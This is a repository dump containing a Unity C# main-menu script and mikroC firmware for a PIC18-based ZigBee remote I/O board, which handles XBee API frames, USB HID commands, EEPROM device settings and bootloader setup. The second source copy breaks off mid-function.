public class MainMenuUIWrapper : MonoBehaviour
{
SavingWrapper wrapper;
GameObject StartCanvas;
GameObject GameSelectCanvas;
GameObject CreateNewSaveCanvas;
//it would have been better if this could have been in the awake method, but
//that will need me to make a loader wrapper which I won't do
//because it's largely the same
private void Start()
{
wrapper = FindObjectOfType<SavingWrapper>();
StartCanvas = transform.Find("StartCanvas").gameObject;
GameSelectCanvas = transform.Find("GameSelectCanvas").gameObject;
CreateNewSaveCanvas = transform.Find("CreateNewSaveCanvas").gameObject;
}
public void QuitGame()
{
Application.Quit();
}
public void ContinueGame()
{
SceneLoader loader = FindObjectOfType<SceneLoader>();
loader.LoadLastWrap();
}
public void NewAlert()
{
StartCanvas.SetActive(false);
GameSelectCanvas.SetActive(true);
}
public void backToMenu()
{
for (int i = 0; i < transform.childCount; i++)
{
transform.GetChild(i).gameObject.SetActive(false);
}
StartCanvas.SetActive(true);
}
public void NewGame()
{
SceneLoader loader = FindObjectOfType<SceneLoader>();
wrapper.DeleteSave();
loader.LoadNext();
}
}
| bb48e3ed19d332cbb91500bc7168b82d2962379f | [
"Markdown",
"C#"
] | 48 | C# | M0rdhau/Platformer_Project | e3859e19f9e962c4e91a4c113cc7339425da4bb5 | afdebadb0fb48fb2397ac2eeb3f4292eb676ecd6 |
refs/heads/master | <file_sep>#line 1 "F:/MEOCloud/KPP/Electronica/PIC Progs/MikroC/ZigBee Remote IO V1.0/Config.c"
#line 37 "F:/MEOCloud/KPP/Electronica/PIC Progs/MikroC/ZigBee Remote IO V1.0/Config.c"
const enum TMcuType MCU_TYPE = mtPIC18;
const unsigned long BOOTLOADER_SIZE = 7400;
const unsigned int BOOTLOADER_REVISION = 0x1200;
const unsigned long BOOTLOADER_START = ((__FLASH_SIZE-BOOTLOADER_SIZE)/_FLASH_ERASE)*_FLASH_ERASE;
const unsigned char RESET_VECTOR_SIZE = 4;
const TBootInfo BootInfo = { sizeof(TBootInfo),
{bifMCUTYPE, MCU_TYPE},
{bifMCUSIZE, __FLASH_SIZE},
{bifERASEBLOCK, _FLASH_ERASE},
{bifWRITEBLOCK, _FLASH_WRITE_LATCH},
{bifBOOTREV, BOOTLOADER_REVISION},
{bifBOOTSTART, BOOTLOADER_START},
{bifDEVDSC, "NO NAME" }
};
unsigned char HidReadBuff[64] absolute 0x500;
unsigned char HidWriteBuff[64] absolute 0x540;
unsigned char Reserve4thBankForUSB[256] absolute 0x400;
#line 137 "F:/MEOCloud/KPP/Electronica/PIC Progs/MikroC/ZigBee Remote IO V1.0/Config.c"
void Config() {
OrgAll(BOOTLOADER_START-RESET_VECTOR_SIZE); FuncOrg(main, BOOTLOADER_START); FuncOrg(StartProgram, BOOTLOADER_START-RESET_VECTOR_SIZE); if (Reserve4thBankForUSB) ; ;
}
<file_sep>#line 1 "F:/MEOCloud/KPP/Electronica/PIC Progs/MikroC/ZigBee Remote IO V1.0/ZigbeeRemoteIOV1.0.c"
#line 1 "f:/meocloud/kpp/electronica/pic progs/mikroc/zigbee remote io v1.0/zigbeeremoteio.h"
unsigned short LocalIP[2];
sbit PICOUT1 at LATA0_bit;
sbit PICOUT1_Direction at TRISA0_bit;
sbit PICOUT2 at LATA1_bit;
sbit PICOUT2_Direction at TRISA1_bit;
sbit PICOUT3 at LATA2_bit;
sbit PICOUT3_Direction at TRISA2_bit;
sbit PICOUT4 at LATA3_bit;
sbit PICOUT4_Direction at TRISA3_bit;
sbit PICIN1 at PORTB.B0;
sbit PICIN1_Direction at TRISB0_bit;
sbit PICIN2 at PORTB.B1;
sbit PICIN2_Direction at TRISB1_bit;
sbit PICIN3 at PORTB.B2;
sbit PICIN3_Direction at TRISB2_bit;
sbit PICIN4 at PORTB.B3;
sbit PICIN4_Direction at TRISB3_bit;
sbit USBON at PORTB.B4;
sbit USBON_Direction at TRISB3_bit;
sbit PROG at RB5_bit;
sbit PROG_Direction at TRISB5_bit;
int DebounceVal=0;
char MY1[8]={0x7E,0x00,0x04,0x08,0x01,0x4D,0x59,0x50};
char ND[8]= {0x7E,0x00,0x04,0x08,0x01,0x4E,0x44,0x64};
unsigned char readbuff[64] absolute 0x600;
unsigned char writebuff[64] absolute 0x640;
typedef struct {
unsigned Enabled;
short Connected;
short LastConnected;
unsigned short *Address64;
unsigned short *Address16;
}ZigbeeSendDeviceInfo;
ZigbeeSendDeviceInfo ZigbeeSendDevices[ 2 ];
typedef struct {
short IONum;
int LastState;
int Debounce;
short WaitDebounce;
char Name[6];
}IOInfo;
IOINFO Inputs[4];
IOINFO Outputs[4];
int debug=0;
int JoinedToNet=0;
int JoinedLastState=0;
char Rx_char;
int frameindex=0,framesize= 100 -1;
char ZigbeeFrame[ 100 ];
char GotFrame=0;
void SendIOsToDevice(char *deviceAddress);
#line 5 "F:/MEOCloud/KPP/Electronica/PIC Progs/MikroC/ZigBee Remote IO V1.0/ZigbeeRemoteIOV1.0.c"
char *DeleteChar (char *str, char oldChar) {
char *strPtr = str;
while ((strPtr = strchr (strPtr, oldChar)) != 0)
*strPtr++ = '\0';
return str;
}
short getZigbeeIndex(char *Address64,char *Address16){
int i=0;
if(Address64!=0){
for(i=0;i< 2 ;i++){
if(strncmp(Address64,ZigbeeSendDevices[i].Address64,8)==0){
return i;
}
}
}
if(Address16!=0){
for(i=0;i< 2 ;i++){
if(strcmp(Address16,ZigbeeSendDevices[i].Address16)==0){
return i;
}
}
}
return -1;
}
void SendRawPacket(char* RawPacket,int len)
{
int i;
for( i=0; i<len; i++ )
{
UART1_Write( RawPacket[i]);
}
}
void SendDataPacket(char *sendto,char* DataPacket,int len,char Ack);
void SendDataPacket2All(char* DataPacket,int len,char Ack){
int i=0;
for(i=0;i< 2 ;i++){
if(ZigbeeSendDevices[i].Enabled==1 && ZigbeeSendDevices[i].Connected==1){
SendDataPacket(ZigbeeSendDevices[i].Address64,DataPacket,len,Ack);
}
}
}
void SendDataPacket(char *sendto,char* DataPacket,int len,char Ack)
{
int k=0;
int i=0, framesize2=14+len;
char DataToSend[50];
unsigned short checkSum=0;
DataToSend[0]=0x7E;
DataToSend[1]=0x00;
DataToSend[2]=framesize2;
DataToSend[3]=0x10;
DataToSend[4]=0x01;
if( sendto==0 )
{
DataToSend[5]=0;
DataToSend[6]=0;
DataToSend[7]=0;
DataToSend[8]=0;
DataToSend[9]=0;
DataToSend[10]=0;
DataToSend[11]=0;
DataToSend[12]=0;
}
else
{
DataToSend[5]=sendto[0];
DataToSend[6]=sendto[1];
DataToSend[7]=sendto[2];
DataToSend[8]=sendto[3];
DataToSend[9]=sendto[4];
DataToSend[10]=sendto[5];
DataToSend[11]=sendto[6];
DataToSend[12]=sendto[7];
}
DataToSend[13]=0xFF;
DataToSend[14]=0xFE;
DataToSend[15]=0x00;
DataToSend[16]=0x01;
for( i=17; i<17+len; i++ )
{
DataToSend[i]=DataPacket[i-17];
}
for( i=3; i<framesize2+3; i++ )
{
checkSum=checkSum+DataToSend[i];
}
checkSum=0xFF-checkSum;
DataToSend[i]=checkSum;
if(debug==1 && USBON){
sprinti(writebuff,"\nPacket: ");
while(!hid_write(writebuff,64));
}
for( i=0; i<framesize2+4; i++ )
{
UART1_Write( DataToSend[i]);
if(debug==1 && USBON){
sprinti(writebuff,"%X",DataToSend[i]);
while(!hid_write(writebuff,64));
}
}
if(debug==1 && USBON){
sprinti(writebuff,"\n");
while(!hid_write(writebuff,64));
}
}
void ProcessZigBeeDataPacket(char* DataPacket,char *DevMAC)
{
char *CommandTrimmed[10];
char del[2] = "|";
int i=0;
if((debug==2 || debug==1) && USBON){
sprinti(writebuff, "ZIGBEE|%s\n",DataPacket);
while(!hid_write(writebuff,64));
}
CommandTrimmed[0]=strtok(DeleteChar(DeleteChar(DataPacket,'\r'),'\n'), del);
do
{
i++;
CommandTrimmed[i] = strtok(0, del);
}
while( CommandTrimmed[i] != 0 );
if(strcmp(CommandTrimmed[0],"IO")==0){
if(strcmp(CommandTrimmed[1],"GETSTATE")==0){
SendIOsToDevice(DevMAC);
}
}
else if(strcmp(CommandTrimmed[0],"IN")==0){
if(strcmp(CommandTrimmed[1],"1")==0){
if(strcmp(CommandTrimmed[2],"1")==0){
PICOUT1=1;
}
else if(strcmp(CommandTrimmed[2],"0")==0){
PICOUT1=0;
}
}
else if(strcmp(CommandTrimmed[1],"2")==0){
if(strcmp(CommandTrimmed[2],"1")==0){
PICOUT2=1;
}
else if(strcmp(CommandTrimmed[2],"0")==0){
PICOUT2=0;
}
}
else if(strcmp(CommandTrimmed[1],"3")==0){
if(strcmp(CommandTrimmed[2],"1")==0){
PICOUT3=1;
}
else if(strcmp(CommandTrimmed[2],"0")==0){
PICOUT3=0;
}
}
else if(strcmp(CommandTrimmed[1],"4")==0){
if(strcmp(CommandTrimmed[2],"1")==0){
PICOUT4=1;
}
else if(strcmp(CommandTrimmed[2],"0")==0){
PICOUT4=0;
}
}
}
}
void ProcessZigBeeFrame()
{
int i;
int FrameType=0;
char ZigbeeDataPacket[50];
char ATCommand[2]={0x00, 0x00};
char CoordinatorAdress[8];
char DeviceAddress[3];
char DeviceMAC[8];
char DeviceID[ 16 ];
char SenderMac[8];
char SenderAddress[3];
FrameType=ZigbeeFrame[3];
if( FrameType==0x90 )
{
for( i=4; i<=11; i++ )
{
SenderMac[i-4]=ZigbeeFrame [ i ];
}
for( i=12; i<=13; i++ )
{
SenderAddress[i-12]=ZigbeeFrame[ i ];
}
SenderAddress[i-12]='\0';
for( i=15; i<=framesize+2; i++ )
{
ZigbeeDataPacket[i-15]=ZigbeeFrame[ i ];
}
ZigbeeDataPacket[i-15]='\0';
ProcessZigBeeDataPacket( ZigbeeDataPacket, SenderMac );
}
else if( FrameType==0x95 )
{
int deviceidx=-1;
DeviceAddress[0]=ZigbeeFrame [12];
DeviceAddress[1]=ZigbeeFrame [13];
DeviceAddress[2]='\0';
for( i=4; i<12; i++ )
{
DeviceMAC[i-4]=ZigbeeFrame[i];
}
deviceidx=getZigbeeIndex(DeviceMAC,0);
if(deviceidx>=0){
strcpy(ZigbeeSendDevices[deviceidx].Address16,DeviceAddress);
ZigbeeSendDevices[deviceidx].LastConnected=0;
ZigbeeSendDevices[deviceidx].Connected=1;
}
for( i=0; i< 16 ; i++ )
{
DeviceID[i]=ZigbeeFrame[i+26];
if( DeviceID[i]==0x00 )break;
}
}
else if( FrameType==0x88 )
{
ATCommand[0]=ZigbeeFrame [ 5 ];
ATCommand[1]=ZigbeeFrame [ 6 ];
if( ZigbeeFrame [7]==0x00 )
{
if( ATCommand[0]=='N'&&ATCommand[1]=='D' )
{
int deviceidx=-1;
DeviceAddress[0]=ZigbeeFrame [8];
DeviceAddress[1]=ZigbeeFrame [9];
DeviceAddress[2]='\0';
for( i=10; i<18; i++ )
{
DeviceMAC[i-10]=ZigbeeFrame[i];
}
deviceidx=getZigbeeIndex(DeviceMAC,0);
if (deviceidx>=0){
strcpy(ZigbeeSendDevices[deviceidx].Address16,DeviceAddress);
ZigbeeSendDevices[deviceidx].LastConnected=0;
ZigbeeSendDevices[deviceidx].Connected=1;
}
for( i=0; i< 16 ; i++ )
{
DeviceID[i]=ZigbeeFrame[i+19];
if( DeviceID[i]==0x00 )break;
}
}else if( ATCommand[0]=='M'&&ATCommand[1]=='Y' ){
LocalIP[0]=ZigbeeFrame [8];
LocalIP[1]=ZigbeeFrame [9];
if( LocalIP[0]!=0xFF&&LocalIP[1]!=0xFE )
{
JoinedToNet=2;
if((debug==2 || debug==1) && USBON){
strcpy(writebuff, "ZIGBEE|JOINED\n");
while(!hid_write(writebuff,64));
}
}
else
{
JoinedToNet=0;
if((debug==2 || debug==1) && USBON){
sprinti(writebuff, "ZIGBEE|NONETWORK\n");
while(!hid_write(writebuff,64));
}
}
}
}
}
else if( FrameType==0x8A )
{
if( ZigbeeFrame[4]==0x03 )
{
if((debug==2 || debug==1) && USBON){
sprinti(writebuff, "ZIGBEE|NONETWORK\n");
while(!hid_write(writebuff,64));
}
JoinedToNet=0;
}
else if( ZigbeeFrame[4]==0x02 )
{
if( JoinedToNet!=2 ){
JoinedToNet=2;
if((debug==2 || debug==1) && USBON){
strcpy(writebuff, "ZIGBEE|JOINED\n");
while(!hid_write(writebuff,64));
}
}
}
}
else if( FrameType==0x8B )
{
int deviceidx=-1;
DeviceAddress[0]=ZigbeeFrame [5];
DeviceAddress[1]=ZigbeeFrame [6];
DeviceAddress[2]='\0';
if( ZigbeeFrame[8]==0x00 )
{
#line 428 "F:/MEOCloud/KPP/Electronica/PIC Progs/MikroC/ZigBee Remote IO V1.0/ZigbeeRemoteIOV1.0.c"
}
else if( ZigbeeFrame[8]==0x21 )
{
deviceidx=getZigbeeIndex(0,DeviceAddress);
if (deviceidx>=0){
ZigbeeSendDevices[deviceidx].Connected=0;
}
if((debug==2 || debug==1) && USBON){
sprinti(writebuff, "ZIGBEE|ACK FAILED\n");
while(!hid_write(writebuff,64));
}
}
}
#line 460 "F:/MEOCloud/KPP/Electronica/PIC Progs/MikroC/ZigBee Remote IO V1.0/ZigbeeRemoteIOV1.0.c"
}
char frame_started=0;
void interrupt()
{
if(USBIF_Bit && USBON){
USB_Interrupt_Proc();
}
if (PIR1.RCIF) {
if (UART1_Data_Ready() == 1) {
Rx_char = UART1_Read();
if(Rx_char==0x7E){
frameindex=0;
frame_started=1;
}
if(frame_started==1){
ZigbeeFrame[frameindex]=Rx_char;
if( frameindex==2 )
{
framesize=ZigbeeFrame[1]+ZigbeeFrame[2];
}
frameindex++;
if( frameindex>=framesize+4 )
{
frameindex=0;
frame_started=0;
GotFrame=1;
}
}
}
}
}
void SendIOsToDevice(char *deviceAddress){
int i;
for(i=0;i<4;i++){
char SendStr[10];
sprinti(SendStr,"%s|%d\0",Inputs[i].Name,!((PORTB & (1 << Inputs[i].IONum))!=0));
if(deviceAddress==0)
SendDataPacket(deviceAddress,SendStr,strlen(SendStr),0);
else
SendDataPacket2All(SendStr,strlen(SendStr),0);
}
}
void ProcessNetworkState(){
int i;
for(i=0;i< 2 ;i++){
if(ZigbeeSendDevices[i].Connected==1){
if(ZigbeeSendDevices[i].Connected!=ZigbeeSendDevices[i].LastConnected){
ZigbeeSendDevices[i].LastConnected=ZigbeeSendDevices[i].Connected;
SendIOsToDevice(ZigbeeSendDevices[i].Address64);
SendDataPacket(ZigbeeSendDevices[i].Address64,"IO|GETSTATE",11,0);
PICOUT4=!PICOUT4;
}
}
}
if(JoinedLastState!=JoinedToNet){
JoinedLastState=JoinedToNet;
if(JoinedToNet==2)
SendIOsToDevice(0);
}
}
char SendStr[10];
void ProcessInputs(){
int i;
for(i=0;i<4;i++){
int portval=!((PORTB & (1 << Inputs[i].IONum))!=0);
if(portval!=Inputs[i].LastState){
Inputs[i].WaitDebounce=1;
if(DebounceVal>Inputs[i].Debounce+5){
Inputs[i].WaitDebounce=0;
Inputs[i].LastState=portval;
sprinti(SendStr,"%s|%d\0",Inputs[i].Name,portval);
SendDataPacket2All(SendStr,strlen(SendStr),0);
}
}
if( Inputs[i].WaitDebounce==0){
Inputs[i].Debounce=DebounceVal;
}
}
DebounceVal++;
}
void write_eeprom_from(unsigned int startaddress,char *str){
char hexstr[3];
unsigned hexval;
int i=0,j=0;
for(i=0;i<16;i=i+2){
hexstr[0]=str[i];
hexstr[1]=str[i+1];
hexstr[2]='\0';
hexval=xtoi(hexstr);
EEPROM_Write(startaddress+j,hexval);
delay_ms(30);
j++;
}
}
void read_eeprom_to(unsigned int startadress,char *dest){
int i;
for(i=0;i<8;i++){
delay_ms(40);
dest[i]=EEPROM_Read(startadress+i);
}
}
void main() {
int i, MY_retry=0;
char DataCharReceived;
char *CommandTrimmed[10];
char del[2] = "|";
char eeprom_readed;
delay_ms(1000);
JoinedToNet=0;
JoinedLastState=0;
UART1_Init(9600);
MM_Init();
for(i=0;i<10;i++){
CommandTrimmed[i]=(char *)malloc(sizeof(char)*30);
}
PICOUT1_Direction=0;
PICOUT1=0;
PICOUT2_Direction=0;
PICOUT2=0;
PICOUT3_Direction=0;
PICOUT3=0;
PICOUT4_Direction=0;
PICOUT4=0;
PICIN1_Direction=1;
PICIN2_Direction=1;
PICIN3_Direction=1;
PICIN4_Direction=1;
USBON_Direction=1;
PROG_Direction=1;
for(i=0;i< 2 ;i++){
ZigbeeSendDevices[i].Connected=0;
ZigbeeSendDevices[i].LastConnected=0;
ZigbeeSendDevices[i].Enabled=EEPROM_Read(1+(i*9));
ZigbeeSendDevices[i].Address64=(unsigned short*)malloc(sizeof(char) *8);
ZigbeeSendDevices[i].Address16=(unsigned short*)malloc(sizeof(char) *4);
delay_ms(20);
read_eeprom_to(2+(i*9),ZigbeeSendDevices[i].Address64);
delay_ms(20);
}
for(i=0;i<4;i++){
Inputs[i].IONum=i;
Inputs[i].LastState=((PORTB & (1 << Inputs[i].IONum))!=0);
Inputs[i].LastState=!Inputs[i].LastState;
sprinti(Inputs[i].Name,"IN|%d",i+1);
}
ADCON0 |= 0x0F;
ADCON1 |= 0x0F;
ADCON2 |= 0x0F;
CMCON |= 7;
INTCON.GIE = 1;
INTCON.PEIE = 1;
PIE1.RCIE = 1;
if(USBON)
HID_Enable(readbuff,writebuff);
debug=0;
SendRawPacket(ND, 8);
while(1)
{
if(GotFrame==1){
GotFrame=0;
ProcessZigBeeFrame();
}
else{
ProcessInputs();
ProcessNetworkState();
Delay_ms(1);
}
if(USBON){
if(!(hid_read()==0)) {
i=0;
CommandTrimmed[0]=strtok(DeleteChar(DeleteChar(readbuff,'\r'),'\n'), del);
do
{
i++;
CommandTrimmed[i] = strtok(0, del);
}
while( CommandTrimmed[i] != 0 );
if(strcmp(CommandTrimmed[0],"UPGRADE")==0){
sprinti(writebuff,"UPGRADING\n");
while(!hid_write(writebuff,64));
EEPROM_Write(0x00,0x01);
HID_Disable();
Delay_ms(1000);
asm { reset; }
} else if(strcmp(CommandTrimmed[0],"SET")==0){
if(strcmp(CommandTrimmed[1],"DEBUG")==0){
int debug_val=0;
debug_val=atoi(CommandTrimmed[2]);
debug=debug_val;
sprinti(writebuff,"DEBUG|%d\n",debug_val);
while(!hid_write(writebuff,64));
}
}
else if(strcmp(CommandTrimmed[0],"SEND")==0){
SendDataPacket(0,CommandTrimmed[1],strlen(CommandTrimmed[1]),0);
}
else if(strcmp(CommandTrimmed[0],"?")==0){
sprinti(writebuff,"KPP ZIGBEE BOARD V1.1\n");
while(!hid_write(writebuff,64));
}
else if(strcmp(CommandTrimmed[0],"READ")==0){
}
else if(strcmp(CommandTrimmed[0],"ZIGBEE")==0){
if(strcmp(CommandTrimmed[1],"SET")==0){
if(strcmp(CommandTrimmed[2],"DEVICE")==0){
int devnum=0;
devnum=atoi(CommandTrimmed[3]);
if(devnum>0 && devnum-1< 2 ){
int enabledval;
enabledval=atoi(CommandTrimmed[4]);
if(enabledval==0 || enabledval==1){
write_eeprom_from(1+(devnum-1)*9,CommandTrimmed[4]);
write_eeprom_from(2+(devnum-1)*9,CommandTrimmed[5]);
read_eeprom_to(1+(devnum-1)*9,ZigbeeSendDevices[i].Enabled);
read_eeprom_to(2+(devnum-1)*9,ZigbeeSendDevices[i].Address64);
}
}
}
}
else if(strcmp(CommandTrimmed[1],"GET")==0){
if(strcmp(CommandTrimmed[2],"DEVICE")==0){
int devnum=0;
devnum=atoi(CommandTrimmed[3]);
if(devnum>0 && devnum-1< 2 ){
int i,k=0;
char hexval[3];
char HostZigbeeStr[16];
for(i=0;i<8;i++){
ShortToHex(ZigbeeSendDevices[devnum-1].Address64[i],HostZigbeeStr+k);
k=k+2;
}
sprinti(writebuff,"ZIGBEE|DEVICE|%d|%s|%d\n",devnum,HostZigbeeStr,ZigbeeSendDevices[devnum-1].Enabled);
while(!hid_write(writebuff,64));
}
}
}
else if(strcmp(CommandTrimmed[1],"MY")==0){
SendRawPacket(MY1, 8);
}
else if(strcmp(CommandTrimmed[1],"ND")==0){
SendRawPacket(ND, 8);
}
}
}
}
}
}
<file_sep>[Position]
Line=5
Column=21
[FoldedLines]
Count=0
<file_sep> #include <ZigbeeRemoteIO.h>
char *DeleteChar (char *str, char oldChar) {
char *strPtr = str;
while ((strPtr = strchr (strPtr, oldChar)) != 0)
*strPtr++ = '\0';
return str;
}
short getZigbeeIndex(char *Address64,char *Address16){
int i=0;
if(Address64!=0){
for(i=0;i<ZIGBEEDEVICES;i++){
if(strncmp(Address64,ZigbeeSendDevices[i].Address64,8)==0){
return i;
}
}
}
if(Address16!=0){
for(i=0;i<ZIGBEEDEVICES;i++){
if(strcmp(Address16,ZigbeeSendDevices[i].Address16)==0){
return i;
}
}
}
return -1;
}
void SendRawPacket(char* RawPacket,int len)
{
int i;
for( i=0; i<len; i++ )
{
UART1_Write( RawPacket[i]);
}
}
void SendDataPacket(char *sendto,char* DataPacket,int len,char Ack);
void SendDataPacket2All(char* DataPacket,int len,char Ack){
int i=0;
for(i=0;i<ZIGBEEDEVICES;i++){
if(ZigbeeSendDevices[i].Enabled==1 && ZigbeeSendDevices[i].Connected==1){
SendDataPacket(ZigbeeSendDevices[i].Address64,DataPacket,len,Ack);
}
}
}
void SendDataPacket(char *sendto,char* DataPacket,int len,char Ack)
{
int k=0;
int i=0, framesize2=14+len;
char DataToSend[50];
unsigned short checkSum=0;
DataToSend[0]=0x7E;
DataToSend[1]=0x00;
DataToSend[2]=framesize2;
DataToSend[3]=0x10;
DataToSend[4]=0x01;
if( sendto==0 )
{
//Broadcast
DataToSend[5]=0;
DataToSend[6]=0;
DataToSend[7]=0;
DataToSend[8]=0;
DataToSend[9]=0;
DataToSend[10]=0;
DataToSend[11]=0;
DataToSend[12]=0;
}
else
{
//Specific adress
DataToSend[5]=sendto[0];
DataToSend[6]=sendto[1];
DataToSend[7]=sendto[2];
DataToSend[8]=sendto[3];
DataToSend[9]=sendto[4];
DataToSend[10]=sendto[5];
DataToSend[11]=sendto[6];
DataToSend[12]=sendto[7];
}
//
DataToSend[13]=0xFF;
DataToSend[14]=0xFE;
//
DataToSend[15]=0x00;
//
DataToSend[16]=0x01;
//Data
for( i=17; i<17+len; i++ )
{
DataToSend[i]=DataPacket[i-17];
}
for( i=3; i<framesize2+3; i++ )
{
checkSum=checkSum+DataToSend[i];
}
checkSum=0xFF-checkSum;
//checksum
DataToSend[i]=checkSum;
if(debug==1 && USBON){
sprinti(writebuff,"\nPacket: ");
while(!hid_write(writebuff,64));
// delay_ms(1);
}
for( i=0; i<framesize2+4; i++ )
{
UART1_Write( DataToSend[i]);
if(debug==1 && USBON){
sprinti(writebuff,"%X",DataToSend[i]);
while(!hid_write(writebuff,64));
// delay_ms(1);
}
}
if(debug==1 && USBON){
sprinti(writebuff,"\n");
while(!hid_write(writebuff,64));
// delay_ms(1);
}
}
void ProcessZigBeeDataPacket(char* DataPacket,char *DevMAC)
{
char *CommandTrimmed[10];
char del[2] = "|";
int i=0;
if((debug==2 || debug==1) && USBON){
sprinti(writebuff, "ZIGBEE|%s\n",DataPacket);
while(!hid_write(writebuff,64));
}
/* get the first token */
CommandTrimmed[0]=strtok(DeleteChar(DeleteChar(DataPacket,'\r'),'\n'), del);
/* walk through other tokens */
do
{
i++;
CommandTrimmed[i] = strtok(0, del);
}
while( CommandTrimmed[i] != 0 );
if(strcmp(CommandTrimmed[0],"IO")==0){
if(strcmp(CommandTrimmed[1],"GETSTATE")==0){
SendIOsToDevice(DevMAC);
}
}
else if(strcmp(CommandTrimmed[0],"IN")==0){
if(strcmp(CommandTrimmed[1],"1")==0){
if(strcmp(CommandTrimmed[2],"1")==0){
PICOUT1=1;
}
else if(strcmp(CommandTrimmed[2],"0")==0){
PICOUT1=0;
}
}
else if(strcmp(CommandTrimmed[1],"2")==0){
if(strcmp(CommandTrimmed[2],"1")==0){
PICOUT2=1;
}
else if(strcmp(CommandTrimmed[2],"0")==0){
PICOUT2=0;
}
}
else if(strcmp(CommandTrimmed[1],"3")==0){
if(strcmp(CommandTrimmed[2],"1")==0){
PICOUT3=1;
}
else if(strcmp(CommandTrimmed[2],"0")==0){
PICOUT3=0;
}
}
else if(strcmp(CommandTrimmed[1],"4")==0){
if(strcmp(CommandTrimmed[2],"1")==0){
PICOUT4=1;
}
else if(strcmp(CommandTrimmed[2],"0")==0){
PICOUT4=0;
}
}
}
}
void ProcessZigBeeFrame()
{
int i;
int FrameType=0;
char ZigbeeDataPacket[50];
char ATCommand[2]={0x00, 0x00};
char CoordinatorAdress[8];
char DeviceAddress[3];
char DeviceMAC[8];
char DeviceID[MAXZIGBEEID];
char SenderMac[8];
char SenderAddress[3];
//Frame type
FrameType=ZigbeeFrame[3];
//Data Frame
if( FrameType==0x90 )
{
for( i=4; i<=11; i++ )
{
//Sender MAC
SenderMac[i-4]=ZigbeeFrame [ i ];
}
for( i=12; i<=13; i++ )
{
SenderAddress[i-12]=ZigbeeFrame[ i ];
}
SenderAddress[i-12]='\0';
for( i=15; i<=framesize+2; i++ )
{
//Data Packet
ZigbeeDataPacket[i-15]=ZigbeeFrame[ i ];
}
ZigbeeDataPacket[i-15]='\0';
ProcessZigBeeDataPacket( ZigbeeDataPacket, SenderMac );
}
//Node indentification Response
else if( FrameType==0x95 )
{
int deviceidx=-1;
DeviceAddress[0]=ZigbeeFrame [12];
DeviceAddress[1]=ZigbeeFrame [13];
DeviceAddress[2]='\0';
for( i=4; i<12; i++ )
{
DeviceMAC[i-4]=ZigbeeFrame[i];
}
deviceidx=getZigbeeIndex(DeviceMAC,0);
if(deviceidx>=0){
strcpy(ZigbeeSendDevices[deviceidx].Address16,DeviceAddress);
ZigbeeSendDevices[deviceidx].LastConnected=0;
ZigbeeSendDevices[deviceidx].Connected=1;
}
for( i=0; i<MAXZIGBEEID; i++ )
{
DeviceID[i]=ZigbeeFrame[i+26];
if( DeviceID[i]==0x00 )break;
}
}
else if( FrameType==0x88 )
{
ATCommand[0]=ZigbeeFrame [ 5 ];
ATCommand[1]=ZigbeeFrame [ 6 ];
//Command Status-0x00=OK
if( ZigbeeFrame [7]==0x00 )
{
//Node Discovery Response
if( ATCommand[0]=='N'&&ATCommand[1]=='D' )
{
int deviceidx=-1;
DeviceAddress[0]=ZigbeeFrame [8];
DeviceAddress[1]=ZigbeeFrame [9];
DeviceAddress[2]='\0';
for( i=10; i<18; i++ )
{
DeviceMAC[i-10]=ZigbeeFrame[i];
}
deviceidx=getZigbeeIndex(DeviceMAC,0);
if (deviceidx>=0){
// PICOUT4=1;
strcpy(ZigbeeSendDevices[deviceidx].Address16,DeviceAddress);
ZigbeeSendDevices[deviceidx].LastConnected=0;
ZigbeeSendDevices[deviceidx].Connected=1;
}
for( i=0; i<MAXZIGBEEID; i++ )
{
DeviceID[i]=ZigbeeFrame[i+19];
if( DeviceID[i]==0x00 )break;
}
}else if( ATCommand[0]=='M'&&ATCommand[1]=='Y' ){
LocalIP[0]=ZigbeeFrame [8];
LocalIP[1]=ZigbeeFrame [9];
if( LocalIP[0]!=0xFF&&LocalIP[1]!=0xFE )
{
JoinedToNet=2;
if((debug==2 || debug==1) && USBON){
strcpy(writebuff, "ZIGBEE|JOINED\n");
while(!hid_write(writebuff,64));
}
}
else
{
JoinedToNet=0;
if((debug==2 || debug==1) && USBON){
sprinti(writebuff, "ZIGBEE|NONETWORK\n");
while(!hid_write(writebuff,64));
}
}
}
}
}
else if( FrameType==0x8A )
{
//No NetWork
if( ZigbeeFrame[4]==0x03 )
{
if((debug==2 || debug==1) && USBON){
sprinti(writebuff, "ZIGBEE|NONETWORK\n");
while(!hid_write(writebuff,64));
}
JoinedToNet=0;
}
//Joined a Network
else if( ZigbeeFrame[4]==0x02 )
{
if( JoinedToNet!=2 ){
JoinedToNet=2;
if((debug==2 || debug==1) && USBON){
strcpy(writebuff, "ZIGBEE|JOINED\n");
while(!hid_write(writebuff,64));
}
}
}
}
//Node Data Response
else if( FrameType==0x8B )
{
int deviceidx=-1;
DeviceAddress[0]=ZigbeeFrame [5];
DeviceAddress[1]=ZigbeeFrame [6];
DeviceAddress[2]='\0';
if( ZigbeeFrame[8]==0x00 )
{
/*if (deviceidx>=0){
ZigbeeSendDevices[deviceidx].Connected=1;
}*/
}
//ack failure
else if( ZigbeeFrame[8]==0x21 )
{
deviceidx=getZigbeeIndex(0,DeviceAddress);
if (deviceidx>=0){
ZigbeeSendDevices[deviceidx].Connected=0;
}
if((debug==2 || debug==1) && USBON){
sprinti(writebuff, "ZIGBEE|ACK FAILED\n");
while(!hid_write(writebuff,64));
}
}
}
/*if( usbConnected )
{
if( Debug )
{
printf( usb_cdc_putc, ">ZIGBEE|RECDATA|" );
for( i=0; i<framesize+4; i++ )
{
printf( usb_cdc_putc, "%LX", ZigbeeFrame[i] );
}
printf( usb_cdc_putc, "\n" );
}
}*/
}
char frame_started=0;
void interrupt()
{
if(USBIF_Bit && USBON){
USB_Interrupt_Proc(); // USB servicing is done inside the interrupt
}
if (PIR1.RCIF) { // test the interrupt for uart rx
if (UART1_Data_Ready() == 1) {
Rx_char = UART1_Read(); //
if(Rx_char==0x7E){
frameindex=0;
frame_started=1;
}
if(frame_started==1){
ZigbeeFrame[frameindex]=Rx_char;
if( frameindex==2 )
{
framesize=ZigbeeFrame[1]+ZigbeeFrame[2];
}
frameindex++;
if( frameindex>=framesize+4 )
{
frameindex=0;
frame_started=0;
GotFrame=1;
}
}
}
}
}
void SendIOsToDevice(char *deviceAddress){
int i;
for(i=0;i<4;i++){
char SendStr[10];
sprinti(SendStr,"%s|%d\0",Inputs[i].Name,!((PORTB & (1 << Inputs[i].IONum))!=0));
if(deviceAddress==0)
SendDataPacket(deviceAddress,SendStr,strlen(SendStr),0);
else
SendDataPacket2All(SendStr,strlen(SendStr),0);
}
}
void ProcessNetworkState(){
int i;
for(i=0;i<ZIGBEEDEVICES;i++){
